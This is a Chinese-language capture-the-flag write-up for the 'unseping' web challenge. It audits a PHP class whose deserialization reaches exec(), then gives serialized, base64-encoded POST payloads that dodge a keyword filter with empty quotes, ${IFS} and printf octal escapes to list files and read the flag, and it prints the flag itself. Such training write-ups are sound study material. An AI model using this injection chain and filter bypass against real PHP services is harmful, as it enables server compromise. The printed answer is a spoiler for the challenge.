Web:攻防世界unseping

目录

一、初见

 二、解题步骤


一、初见

        刚拿到这个题目,可以发现是一串PHP代码,关注到unserialize(base64_decode($ctf))函数,就知道是考php反序列化。

审计PHP类ease:

        __construct($method, $args) :构造器需要传入两个参数。

        __destruct():对象被销毁时候调用,可以看见这个函数的作用是判断method是否等于ping,等于则调用回调函数。回调函数的作用是将$this->args参数传参到函数$this->method(也就是ping)。

        ping($ip):内部调用exec($ip, $result)函数,这是一个 PHP 内置函数,用于执行外部程序或系统命令,带有两个参数,前一个是执行外部程序或系统命令,第二个参数是把执行结果存储,通常该参数是数组。var_dump($result):是输出变量的详细信息,也就是把命令执行的结果输出。

        waf($str):该方法是正则匹配过滤非法字符。

        __wakeup():是调用unserialize(base64_decode($ctf))时会调用的函数,作用是遍历数组,调用waf函数过滤非法字符。

分析可得:该代码的运行顺序是

        1、POST方法接收一个CTF参数值

        2、调用反序列函数unserialize(base64_decode($ctf))

        3、调用__construct()

        4、调用wakeup函数

        5、调用waf函数

        6、调用__destruct()

        7、调用ping函数     

        因为有exec命令,所以我们要构思如何让代码执行系统命令ls和cat进行查找和打开文件。可以发现对ls、cat、/、等都有过滤。我们可以通过八进制编码绕过或者Shell内置变量${IFS}等。为了调用ping函数,所以构造函数的第一个参数必须是ping。

 二、解题步骤

        有了思路开始构造序列化代码(反序列化的前提必须有反序列化),序列化代码必须包含类的定义。

<?php
 
 
class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        //var_dump($result);
    }
 
    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}
 
$ctf=new ease("ping",array('1234'));
 
echo base64_encode(@serialize($ctf));

?>

 这串代码获得了base64加密的$ctf对象的序列串,如下图所示。

         但这里我们还没有使用系统命令(给数组放入系统命令),尝试过滤写入,构造POST请求包。

$ctf=new ease("ping",array('l""s'));
POST / HTTP/1.1
Host: 61.147.171.105:55546
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded

ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==

运行结果:

 可以发现flag,推测是个文件夹,继续构造。

$ctf=new ease("ping",array('l""s${IFS}f""lag_1s_here'));
POST / HTTP/1.1
Host: 61.147.171.105:55546
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded

ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==

 看到flag文件,构造cat命令,尝试打开。

$ctf=new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
POST / HTTP/1.1
Host: 61.147.171.105:55546
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded

ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319

最终发现flag:cyberpeace{e736ed0923c4a11df9eda0d29bcb6bdf} 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值